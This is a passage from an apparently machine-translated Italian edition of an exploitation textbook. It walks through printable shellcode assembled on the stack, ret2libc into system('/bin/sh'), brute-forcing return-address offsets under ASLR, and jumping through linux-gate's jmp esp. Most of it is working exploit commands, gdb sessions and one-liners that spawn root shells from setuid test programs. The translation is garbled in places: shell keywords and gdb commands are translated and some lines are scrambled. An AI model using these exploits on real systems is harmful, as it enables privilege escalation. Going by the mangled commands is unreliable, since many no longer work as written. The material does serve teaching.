Aggiornamento del prodotto n. Con descrizione "TX-3399-Purr-! TTTP \% JONE% 501: -% mm4-% mm% - DW% P-Yf1Y-fwfY-
yzSzP-iii% -Zkx% -% Fw% P-XXn6-99w% -ptt% P-% w %% - qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-% NN0-
% o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw - B2H2PPPPPPPPPPPPPPPPPPPPPP '

Punto di interruzione 1, 0x080484db in update_product_description (


id = 0x72727550 <Indirizzo 0x72727550 fuori dai limiti>,
desc = 0x5454212d <Indirizzo 0x5454212d fuori dai limiti>) in update_info.c: 21
21}
(gdb) stepi
0xbffff8fd in ?? ()
(gdb) x / 9i $ eip
0xbffff8fd: spingere esp
0xbffff8fe: pop eax
0xbffff8ff: sub eax, 0x39393333
0xbffff904: sub eax, 0x72727550
0xbffff909: sub eax, 0x54545421
0xbffff90e: push eax
0xbffff90f: pop esp
0xbffff910: e eax, 0x454e4f4a
0xbffff915: e eax, 0x3a313035
(gdb) ir esp
esp 0xbffff6d0 0xbffff6d0
(gdb) p / x $ esp + 860
$ 1 = 0xbffffa2c
(gdb) passaggio 9
0xbffff91a in ?? ()
(gdb) ir esp eax

374 0x600

Pagina 389

esp 0xbffffa2c 0xbffffa2c


eax 0x0 0
(gdb)

Le prime nove istruzioni aggiungono 860 a ESP e azzerano il registro EAX.


Le otto istruzioni successive inseriscono gli ultimi otto byte dello shellcode nel file
stack in blocchi di quattro byte. Questo processo viene ripetuto nelle successive 32 istruzioni
per costruire l'intero shellcode sullo stack.
(gdb) x / 8i $ eip
0xbffff91a: sub eax, 0x346d6d25
0xbffff91f: sub eax, 0x256d6d25
0xbffff924: sub eax, 0x2557442d
0xbffff929: push eax
0xbffff92a: sub eax, 0x59316659
0xbffff92f: sub eax, 0x59667766
0xbffff934: sub eax, 0x7a537a79
0xbffff939: push eax
(gdb) stepi 8
0xbffff93a in ?? ()
(gdb) x / 4x $ esp
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
(gdb) stepi 32
0xbffff9ba in ?? ()
(gdb) x / 5i $ eip
0xbffff9ba: push eax
0xbffff9bb: push eax
0xbffff9bc: push eax
0xbffff9bd: push eax
0xbffff9be: push eax
(gdb) x / 16x $ esp
0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0
0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) ir eip esp eax
eip 0xbffff9ba 0xbffff9ba
esp 0xbffffa04 0xbffffa04
eax 0x90909090 -1869574000
(gdb)

Ora con lo shellcode completamente costruito sullo stack, EAX è impostato


a 0x90909090 . Questo viene inserito ripetutamente nello stack per costruire una slitta NOP
colmare il divario tra la fine del codice del caricatore e il nuovo costruito
shellcode.

(gdb) x / 24x 0xbffff9ba


0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158

Contromisure 375

Pagina 390

(gdb) passaggio 10
0xbffff9c4 in ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 5
0xbffff9c9 in ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050
0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb)

Ora il puntatore di esecuzione (EIP) può fluire sul bridge NOP nel file
shellcode costruito.
Lo shellcode stampabile è una tecnica che può aprire alcune porte. Esso e
tutte le altre tecniche di cui abbiamo discusso sono solo elementi costitutivi che possono essere
utilizzato in una miriade di combinazioni diverse. La loro applicazione richiede alcuni
ingegnosità da parte tua. Sii intelligente e battili al loro stesso gioco.

0x6a0 Contromisure di rafforzamento


Le tecniche di exploit dimostrate in questo capitolo esistono per
età. Era solo questione di tempo per i programmatori di inventarne alcuni
metodi di protezione intelligenti. Un exploit può essere generalizzato in tre fasi
processo: in primo luogo, una sorta di danneggiamento della memoria; poi, un cambio di controllo
flusso; e infine, l'esecuzione dello shellcode.

0x6b0 Stack non eseguibile


La maggior parte delle applicazioni non ha mai bisogno di eseguire nulla sullo stack, quindi è ovvio
la difesa dagli exploit di buffer overflow consiste nel rendere lo stack non eseguibile.
Quando ciò è fatto, lo shellcode inserito ovunque nello stack è praticamente inutile.
Questo tipo di difesa fermerà la maggior parte degli exploit là fuori, e lo è
diventando più popolare. L'ultima versione di OpenBSD ha un non eseguibile
stack per impostazione predefinita e uno stack non eseguibile è disponibile in Linux tramite PaX,
una patch del kernel.

0x6b1 ret2libc
Naturalmente, esiste una tecnica utilizzata per aggirare questo
misurare. Questa tecnica è nota come ritorno in libc . libc è uno standard C
libreria che contiene varie funzioni di base, come printf () e exit () . Questi

376 0x600
Pagina 391

le funzioni sono condivise, quindi qualsiasi programma che usa la funzione printf () dirige
esecuzione nella posizione appropriata in libc. Un exploit può fare l'esatto
stessa cosa e dirige l'esecuzione di un programma in una determinata funzione in libc.
La funzionalità di un tale exploit è limitata dalle funzioni in libc, che
è una restrizione significativa rispetto allo shellcode arbitrario. Però,
niente viene mai eseguito sullo stack.

0x6b2 Ritorno nel sistema ()


Una delle funzioni libc più semplici in cui tornare è system () . Come ricordi, questo
la funzione accetta un singolo argomento e lo esegue con / bin / sh.
Questa funzione richiede solo un singolo argomento, il che la rende un obiettivo utile.
Per questo esempio, verrà utilizzato un semplice programma vulnerabile.

vuln.c

int main (int argc, char * argv [])


{
buffer di caratteri [5];
strcpy (buffer, argv [1]);
return 0;
}

Ovviamente, questo programma deve essere compilato e impostato come root prima che sia veramente
vulnerabile.

reader @ hacking: ~ / booksrc $ gcc -o vuln vuln.c


lettore @ hacking: ~ / booksrc $ sudo chown root ./vuln
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./vuln
lettore @ hacking: ~ / booksrc $ ls -l ./vuln
-rwsr-xr-x 1 root reader 6600 2007-09-30 22:43 ./vuln

lettore @ hacking: ~ / booksrc $

L'idea generale è quella di forzare il programma vulnerabile a generare una shell,


senza eseguire nulla sullo stack, tornando alla funzione libc
. Se questa funzione viene fornita con l'argomento di / bin / sh , dovrebbe
sistema ()
genera una conchiglia.
Innanzitutto, deve essere determinata la posizione della funzione system () in libc.
Questo sarà diverso per ogni sistema, ma una volta che la posizione è nota, lo sarà
rimangono le stesse finché libc non viene ricompilata. Uno dei modi più semplici per trovare il file
la posizione di una funzione libc è creare un semplice programma fittizio ed eseguirne il debug,
come questo:

lettore @ hacking: ~ / booksrc $ cat> dummy.c


int main ()
{sistema (); }
reader @ hacking: ~ / booksrc $ gcc -o dummy dummy.c
reader @ hacking: ~ / booksrc $ gdb -q ./dummy
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".

Contromisure 377

Pagina 392

(gdb) break main


Punto di interruzione 1 a 0x804837a
(gdb) esegui
Programma iniziale: / home / matrix / booksrc / dummy

Breakpoint 1, 0x0804837a in main ()


(gdb) sistema di stampa
$ 1 = {<variabile di testo, nessuna informazione di debug>} 0xb7ed0d80 <sistema>
(gdb) esci

Qui viene creato un programma fittizio che utilizza la funzione system () .


Dopo essere stato compilato, il file binario viene aperto in un debugger e viene visualizzato un punto di interruzione
impostato all'inizio. Il programma viene eseguito, quindi la posizione del file
viene visualizzata la funzione system () . In questo caso, si trova la funzione system ()
a 0xb7ed0d80 .
Armati di questa conoscenza, possiamo dirigere l'esecuzione del programma nel file
funzione system () di libc. Tuttavia, l'obiettivo qui è quello di causare i vulnerabili
programma per eseguire system ("/ bin / sh") per fornire una shell, quindi un argomento
deve essere fornito. Quando si ritorna in libc, l'indirizzo e la funzione di ritorno
gli argomenti vengono letti dallo stack in quello che dovrebbe essere un formato familiare: il
indirizzo del mittente seguito dagli argomenti. Nello stack, il file return-into-libc
call dovrebbe assomigliare a questo:

Indirizzo della funzione Indirizzo di ritorno Argomento 1 Argomento 2 Argomento 3 ...

Subito dopo l'indirizzo della funzione libc desiderata c'è l'indirizzo a


quale esecuzione dovrebbe tornare dopo la chiamata libc. Dopodiché, tutta la funzione
gli argomenti vengono in sequenza.
In questo caso, non importa dove ritorna l'esecuzione dopo
la chiamata a libc, poiché aprirà una shell interattiva. Pertanto, questi
quattro byte possono essere solo un valore segnaposto di FAKE . C'è solo un argomento,
che dovrebbe essere un puntatore alla stringa / bin / sh . Questa stringa può essere memorizzata
ovunque nella memoria; una variabile d'ambiente è un ottimo candidato.
Nell'output seguente, la stringa è preceduta da diversi spazi. Questo sarà
agire in modo simile a una slitta NOP, fornendoci un po 'di spazio di manovra, da allora
system ("/ bin / sh") è uguale a system ("/ bin / sh") .

lettore @ hacking: ~ / booksrc $ export BINSH = " / bin / sh "


lettore @ hacking: ~ / booksrc $ ./getenvaddr BINSH ./vuln
BINSH sarà a 0xbffffe5b
lettore @ hacking: ~ / booksrc $

Quindi l' indirizzo system () è 0xb7ed0d80 e l'indirizzo per / bin / sh


stringa sarà 0xbffffe5b quando il programma viene eseguito. Ciò significa che il file
l'indirizzo di ritorno sullo stack dovrebbe essere sovrascritto con una serie di indirizzi,
che inizia con 0xb7ecfd80 , seguito da FAKE (poiché non importa dove
l'esecuzione segue la chiamata system () ) e termina con 0xbffffe5b .

378 0x600

Pagina 393

Una rapida ricerca binaria mostra che l'indirizzo del mittente è probabilmente finito
scritto dall'ottava parola dell'input del programma, quindi sette parole di dummy
i dati vengono utilizzati per la spaziatura nell'exploit.

lettore @ hacking: ~ / booksrc $ ./vuln $ (perl -e 'print "ABCD" x5')


lettore @ hacking: ~ / booksrc $ ./vuln $ (perl -e 'print "ABCD" x10')
Errore di segmentazione
reader @ hacking: ~ / booksrc $ ./vuln $ (perl -e 'print "ABCD" x8')
Errore di segmentazione
lettore @ hacking: ~ / booksrc $ ./vuln $ (perl -e 'print "ABCD" x7')
Istruzione illegale
lettore @ hacking: ~ / booksrc $ ./vuln $ (perl -e 'print "ABCD" x7. "\ x80 \ x0d \ xed \ xb7FAKE \ x5b \ xfe \
xff \ xbf "')
sh-3.2 # whoami
radice
sh-3.2 #

L'exploit può essere ampliato effettuando chiamate libc concatenate, if


necessario. L'indirizzo di ritorno di FAKE utilizzato nell'esempio può essere modificato in
esecuzione diretta del programma. È possibile effettuare o eseguire ulteriori chiamate libc
può essere indirizzato in qualche altra sezione utile nell'esistente del programma
Istruzioni.

0x6c0 Spazio stack randomizzato


Un'altra contromisura protettiva tenta un approccio leggermente diverso. Anziché
di impedire l'esecuzione in pila, questa contromisura randomizza il file
layout di memoria dello stack. Quando il layout della memoria è randomizzato, l'attaccante
non sarà in grado di restituire l'esecuzione allo shellcode in attesa, poiché non lo saprà
dove è.
Questa contromisura è stata abilitata per impostazione predefinita nel kernel Linux
dal 2.6.12, ma il LiveCD di questo libro è stato configurato disattivandolo.
Per riattivare questa protezione, echo 1 al filesystem / proc come mostrato
sotto.

lettore @ hacking: ~ / booksrc $ sudo su -


root @ hacking: ~ # echo 1> / proc / sys / kernel / randomize_va_space
root @ hacking: ~ # exit
disconnettersi
reader @ hacking: ~ / booksrc $ gcc exploit_notesearch.c
lettore @ hacking: ~ / booksrc $ ./a.out
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $

Con questa contromisura attivata, l'exploit di notesearch non viene più utilizzato
funziona, poiché il layout dello stack è randomizzato. Ogni volta che un programma
inizia, lo stack inizia in una posizione casuale. Il seguente esempio demone-
spiega questo.

Contromisure 379

Pagina 394

aslr_demo.c

#include <stdio.h>

int main (int argc, char * argv []) {


buffer di caratteri [50];

printf ("il buffer è in% p \ n", & buffer);

if (argc> 1)
strcpy (buffer, argv [1]);

ritorno 1;
}

Questo programma presenta un'evidente vulnerabilità di overflow del buffer. Però,


con ASLR attivato, lo sfruttamento non è così facile.

reader @ hacking: ~ / booksrc $ gcc -g -o aslr_demo aslr_demo.c


lettore @ hacking: ~ / booksrc $ ./aslr_demo
il buffer è a 0xbffbbf90
lettore @ hacking: ~ / booksrc $ ./aslr_demo
il buffer è a 0xbfe4de20
lettore @ hacking: ~ / booksrc $ ./aslr_demo
buffer è a 0xbfc7ac50
reader @ hacking: ~ / booksrc $ ./aslr_demo $ (perl -e 'print "ABCD" x20')
il buffer è a 0xbf9a4920
Errore di segmentazione
lettore @ hacking: ~ / booksrc $

Si noti come la posizione del buffer nello stack cambia con ogni
correre. Possiamo ancora iniettare lo shellcode e la memoria danneggiata per sovrascrivere il file
indirizzo di ritorno, ma non sappiamo dove sia lo shellcode in memoria. Il
la randomizzazione cambia la posizione di ogni cosa nello stack, incluso
variabili ambientali.

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE sarà a 0xbfd919c3
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE sarà a 0xbfe499c3
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE sarà a 0xbfcae9c3
lettore @ hacking: ~ / booksrc $

Questo tipo di protezione può essere molto efficace per bloccare gli exploit da parte di
attaccante medio, ma non è sempre sufficiente per fermare un determinato hacker. Può
pensi a un modo per sfruttare con successo questo programma in queste condizioni?

0x6c1 Indagini con BASH e GDB


Poiché ASLR non ferma il danneggiamento della memoria, possiamo comunque usare un brute-
costringendo lo script BASH a calcolare l'offset per l'indirizzo di ritorno dal file

380 0x600

Pagina 395

inizio del buffer. Quando un programma esce, il valore restituito da


la funzione principale è lo stato di uscita. Questo stato è memorizzato nella variabile BASH $? ,
che può essere utilizzato per rilevare se il programma è andato in crash.

reader @ hacking: ~ / booksrc $ ./aslr_demo test


il buffer è a 0xbfb80320
lettore @ hacking: ~ / booksrc $ echo $?
1
reader @ hacking: ~ / booksrc $ ./aslr_demo $ (perl -e 'print "AAAA" x50')
buffer è a 0xbfbe2ac0
Errore di segmentazione
lettore @ hacking: ~ / booksrc $ echo $?
139
lettore @ hacking: ~ / booksrc $

Usando la logica dell'istruzione if di BASH , possiamo fermare il nostro script di forzatura bruta
quando colpisce il bersaglio. Il blocco di istruzioni if è contenuto tra i file
parole chiave quindi e fi ; lo spazio vuoto nell'istruzione if è obbligatorio. Il
L' istruzione break dice allo script di uscire dal ciclo for .

reader @ hacking: ~ / booksrc $ for i in $ (seq 1 50)


> fare
> echo "Tentativo di offset di $ i parole"
> ./aslr_demo $ (perl -e "print 'AAAA'x $ i")
> se [$? ! = 1]
> allora
> echo "==> L'offset corretto per restituire l'indirizzo è $ i parole"
> pausa
> fi
> fatto
Tentativo di offset di 1 parole
il buffer è a 0xbfc093b0
Tentativo di offset di 2 parole
il buffer è a 0xbfd01ca0
Cercando offset di 3 parole
il buffer è a 0xbfe45de0
Sto cercando un offset di 4 parole
il buffer è a 0xbfdcd560
Tentativo di offset di 5 parole
il buffer è a 0xbfbf5380
Sto cercando un offset di 6 parole
il buffer è a 0xbffce760
Cercando offset di 7 parole
il buffer è a 0xbfaf7a80
Cercando offset di 8 parole
il buffer è a 0xbfa4e9d0
Cercando offset di 9 parole
il buffer è a 0xbfacca50
Sto cercando un offset di 10 parole
il buffer è a 0xbfd08c80
Sto cercando un offset di 11 parole
il buffer è a 0xbff24ea0
Sto cercando un offset di 12 parole
il buffer è a 0xbfaf9a70

Contromisure 381

Pagina 396

Sto cercando un offset di 13 parole


il buffer è a 0xbfe0fd80
Sto cercando un offset di 14 parole
il buffer è a 0xbfe03d70
Sto cercando un offset di 15 parole
il buffer è a 0xbfc2fb90
Sto cercando un offset di 16 parole
il buffer è a 0xbff32a40
Provando offset di 17 parole
il buffer è a 0xbf9da940
Cercando offset di 18 parole
il buffer è a 0xbfd0cc70
Cercando offset di 19 parole
il buffer è a 0xbf897ff0
Istruzione illegale
==> L'offset corretto per restituire l'indirizzo è di 19 parole
lettore @ hacking: ~ / booksrc $

Conoscere l'offset corretto ci consentirà di sovrascrivere l'indirizzo del mittente.


Tuttavia, non possiamo ancora eseguire lo shellcode poiché la sua posizione è randomizzata.
Usando GDB, diamo un'occhiata al programma proprio mentre sta per tornare dal
funzione principale.

lettore @ hacking: ~ / booksrc $ gdb -q ./aslr_demo


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump del codice assembler per la funzione main:
0x080483b4 <main + 0>: push ebp
0x080483b5 <principale + 1>: mov ebp, esp
0x080483b7 <principale + 3>: sub esp, 0x58
0x080483ba <main + 6>: e esp, 0xfffffff0
0x080483bd <main + 9>: mov eax, 0x0
0x080483c2 <main + 14>: sub esp, eax
0x080483c4 <main + 16>: lea eax, [ebp-72]
0x080483c7 <main + 19>: mov DWORD PTR [esp + 4], eax
0x080483cb <main + 23>: mov DWORD PTR [esp], 0x80484d4
0x080483d2 <main + 30>: chiama 0x80482d4 <printf @ plt>
0x080483d7 <main + 35>: cmp DWORD PTR [ebp + 8], 0x1
0x080483db <principale + 39>: jle 0x80483f4 <principale + 64>
0x080483dd <main + 41>: mov eax, DWORD PTR [ebp + 12]
0x080483e0 <main + 44>: aggiungi eax, 0x4
0x080483e3 <main + 47>: mov eax, DWORD PTR [eax]
0x080483e5 <main + 49>: mov DWORD PTR [esp + 4], eax
0x080483e9 <main + 53>: lea eax, [ebp-72]
0x080483ec <main + 56>: mov DWORD PTR [esp], eax
0x080483ef <main + 59>: chiama 0x80482c4 <strcpy @ plt>
0x080483f4 <main + 64>: mov eax, 0x1
0x080483f9 <main + 69>: abbandona
0x080483fa <main + 70>: ret
Fine del dump dell'assemblatore.
(gdb) break * 0x080483fa
Breakpoint 1 in 0x80483fa: file aslr_demo.c, riga 12.
(gdb)

382 0x600

Pagina 397

Il punto di interruzione viene impostato nell'ultima istruzione di main . Questa istruzione ritorna
EIP all'indirizzo del mittente memorizzato nello stack. Quando un exploit sovrascrive il file
indirizzo di ritorno, questa è l'ultima istruzione in cui ha il programma originale
controllo. Diamo un'occhiata ai registri a questo punto del codice per una coppia
di diverse prove.

(gdb) esegui
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfa131 a0

Breakpoint 1, 0x080483fa in main (argc = 134513588, argv = 0x1) in aslr_demo.c: 12


12}
(gdb) registri di informazioni
eax 0x1 1
ecx 0x0 0
edx 0xb7f000b0 -1209007952
ebx 0xb7efeff4 -1209012236
esp 0xbfa131 ec 0xbfa131ec
ebp 0xbfa13248 0xbfa13248
esi 0xb7f29ce0 -1208836896
edi 0x0 0
eip 0x80483fa 0x80483fa <principale + 70>
eflags 0x200246 [PF ZF IF ID]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfd8e5 20

Breakpoint 1, 0x080483fa in main (argc = 134513588, argv = 0x1) in aslr_demo.c: 12


12}
(gdb) ir esp
esp 0xbfd8e5 6c 0xbfd8e56c
(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfaada 40

Breakpoint 1, 0x080483fa in main (argc = 134513588, argv = 0x1) in aslr_demo.c: 12


12}
(gdb) ir esp
esp 0xbfaada 8c 0xbfaada8c
(gdb)

Contromisure 383

Pagina 398
Nonostante la randomizzazione tra le corse, nota quanto sia simile l'indirizzo
in ESP è all'indirizzo del buffer (mostrato in grassetto). Questo ha senso, da allora
il puntatore dello stack punta allo stack e il buffer è sullo stack. Il valore di ESP
e l'indirizzo del buffer vengono modificati dallo stesso valore casuale, perché
sono relativi l'uno all'altro.
Il comando stepi di GDB fa avanzare il programma in esecuzione da un singolo file
istruzione. Usando questo, possiamo controllare il valore di ESP dopo che l' istruzione ret ha
eseguito.

(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfd1ccb0

Breakpoint 1, 0x080483fa in main (argc = 134513588, argv = 0x1) in aslr_demo.c: 12


12}
(gdb) ir esp
esp 0xbfd1ccfc 0xbfd1ccfc
(gdb) stepi
0xb7e4debc in __libc_start_main () da /lib/tls/i686/cmov/libc.so.6
(gdb) ir esp
esp 0xbfd1cd00 0xbfd1cd00
(gdb) x / 24x 0xbfd1ccb0
0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291
0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429
0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4
0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4
0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc
0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898
(gdb) p 0xbfd1cd00 - 0xbfd1ccb0
$ 1 = 80
(gdb) p 80/4
$ 2 = 20
(gdb)

Il passo singolo mostra che l' istruzione ret aumenta il valore di ESP di
4. Sottraendo il valore di ESP dall'indirizzo del buffer, troviamo che ESP
punta a 80 byte (o 20 parole) dall'inizio del buffer. Dal ritorno
l'offset dell'indirizzo era di 19 parole, questo significa che dopo l'ultima istruzione ret di main ,
ESP punta alla memoria dello stack trovata direttamente dopo l'indirizzo di ritorno. Questo sarebbe
sarebbe utile se ci fosse un modo per controllare EIP per andare dove invece sta puntando ESP.

0x6c2 Rimbalza su linux-gate


La tecnica descritta di seguito non funziona con l'avvio dei kernel Linux
dal 2.6.18. Questa tecnica ha guadagnato una certa popolarità e, ovviamente, il
gli sviluppatori hanno risolto il problema. Il kernel utilizzato nel LiveCD incluso
è 2.6.20, quindi l'output di seguito proviene dalla macchina loki, che esegue un file
2.6.17 Kernel Linux. Anche se questa particolare tecnica non funziona
il LiveCD, i concetti alla base possono essere applicati in altri modi utili.

384 0x600

Pagina 399

Bouncing off linux-gate si riferisce a un oggetto condiviso, esposto dal kernel,


che sembra una libreria condivisa. Il programma ldd mostra i file
dipendenze della libreria condivisa. Noti qualcosa di interessante in merito
la libreria linux-gate nell'output qui sotto?

matrix @ loki / hacking $ $ uname -a


Hacking di Linux 2.6.17 # 2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU / Linux
matrix @ loki / hacking $ cat / proc / sys / kernel / randomize_va_space
1
matrix @ loki / hacking $ ldd ./aslr_demo
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
/lib/ld-linux.so.2 (0xb7fe5000)
matrix @ loki / hacking $ ldd / bin / ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f95000)
libc.so.6 => /lib/libc.so.6 (0xb7e75000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
/lib/ld-linux.so.2 (0xb7fb1000)
matrix @ loki / hacking $ ldd / bin / ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f50000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
/lib/ld-linux.so.2 (0xb7f6c000)
matrix @ loki / hacking $

Anche in diversi programmi e con ASLR abilitato, linux-gate.so.1 lo è


sempre presente allo stesso indirizzo. Questo è un oggetto virtuale condiviso dinamicamente
usato dal kernel per velocizzare le chiamate di sistema, il che significa che è necessario in
ogni processo. Viene caricato direttamente dal kernel e non esiste da nessuna parte
su disco.
L'importante è che ogni processo abbia un blocco di memoria contenente-
le istruzioni di linux-gate, che sono sempre nella stessa posizione, anche
con ASLR. Cercheremo in questo spazio di memoria un determinato assembly
istruzioni, jmp esp . Questa istruzione salterà EIP dove sta puntando ESP.
Innanzitutto, assembliamo l'istruzione per vedere come appare nel codice macchina.

matrix @ loki / hacking $ cat> jmpesp.s


BITS 32
jmp esp
matrix @ loki / hacking $ nasm jmpesp.s
matrix @ loki / hacking $ hexdump -C jmpesp
00000000 ff e4 | .. |
00000002
matrix @ loki / hacking $

Utilizzando queste informazioni, è possibile scrivere un semplice programma per trovarle


pattern nella memoria del programma.
Contromisure 385

Pagina 400

find_jmpesp.c

int main ()
{
linuxgate_start lungo non firmato = 0xffffe000;
char * ptr = (char *) linuxgate_start;

int i;

per (i = 0; i <4096; i ++)


{
if (ptr [i] == '\ xff' && ptr [i + 1] == '\ xe4')
printf ("trovato jmp esp in% p \ n", ptr + i);
}
}

Quando il programma viene compilato ed eseguito, mostra che questa istruzione


esiste in 0xffffe777 . Questo può essere ulteriormente verificato utilizzando GDB:

matrix @ loki / hacking $ ./find_jmpesp


trovato jmp esp su 0xffffe777
matrix @ loki / hacking $ gdb -q ./aslr_demo
Utilizzo della libreria host libthread_db "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 in 0x80483f0: file aslr_demo.c, riga 7.
(gdb) esegui
Avvio del programma: / hacking / aslr_demo

Breakpoint 1, main (argc = 1, argv = 0xbf869894) in aslr_demo.c: 7


7 printf ("il buffer è in% p \ n", & buffer);
(gdb) x / i 0xffffe777
0xffffe777: jmp esp
(gdb)

Mettendo tutto insieme, se sovrascriviamo l'indirizzo del mittente con l'indirizzo


0xffffe777, l'esecuzione salterà in linux-gate quando la funzione principale
ritorna. Poiché si tratta di un'istruzione esp jmp , l'esecuzione salterà immediatamente
tornare indietro da linux-gate ovunque si stia puntando ESP. Dal nostro
precedente debug, sappiamo che alla fine della funzione principale, ESP è
che punta alla memoria direttamente dopo l'indirizzo del mittente. Quindi, se viene inserito lo shellcode
qui, EIP dovrebbe rimbalzare dentro.

matrix @ loki / hacking $ sudo chown root: root ./aslr_demo


matrix @ loki / hacking $ sudo chmod u + s ./aslr_demo
matrix @ loki / hacking $ ./aslr_demo $ (perl -e 'print "\ x77 \ xe7 \ xff \ xff" x20') $ (cat scode.bin)
il buffer è a 0xbf8d9ae0
sh-3.1 #

Questa tecnica può essere utilizzata anche per sfruttare il programma notesearch, come
mostrato qui.

386 0x600

Pagina 401

matrix @ loki / hacking $ for i in `seq 1 50`; do ./notesearch $ (perl -e "print 'AAAA'x $ i"); Se [
$? == 139]; quindi echo "Prova $ i parole"; rompere; fi; fatto
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 63 byte per l'ID utente 1000
------- [dati di fine nota] -------

*** USCITA TRIMMED ***

[DEBUG] ha trovato una nota di 34 byte per l'ID utente 1000


[DEBUG] ha trovato una nota di 41 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 63 byte per l'ID utente 1000
------- [dati di fine nota] -------
Errore di segmentazione
Prova 35 parole
matrix @ loki / hacking $ ./notesearch $ (perl -e 'print "\ x77 \ xe7 \ xff \ xff" x35') $ (cat scode.bin)
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 63 byte per l'ID utente 1000
------- [dati di fine nota] -------
Errore di segmentazione
matrix @ loki / hacking $ ./notesearch $ (perl -e 'print "\ x77 \ xe7 \ xff \ xff" x36') $ (cat scode2.bin)
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 63 byte per l'ID utente 1000
------- [dati di fine nota] -------
sh-3.1 #

La stima iniziale di 35 parole non era valida, poiché il programma continuava a bloccarsi
con l'exploit buffer leggermente più piccolo. Ma è nel campo giusto, quindi a
il tweak manuale (o un modo più accurato per calcolare l'offset) è tutto ciò che è
necessario.
Certo, rimbalzare su linux-gate è un trucco intelligente, ma funziona solo con i vecchi
Kernelnon
zione Linux. Di nuovo
si trova più nelsul LiveCD,
solito spaziocon Linux
degli 2.6.20, le utili istruzioni
indirizzi.

lettore @ hacking: ~ / booksrc $ uname -a


Hacking di Linux 2.6.20-15-generic # 2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU / Linux
reader @ hacking: ~ / booksrc $ gcc -o find_jmpesp find_jmpesp.c
lettore @ hacking: ~ / booksrc $ ./find_jmpesp
reader @ hacking: ~ / booksrc $ gcc -g -o aslr_demo aslr_demo.c
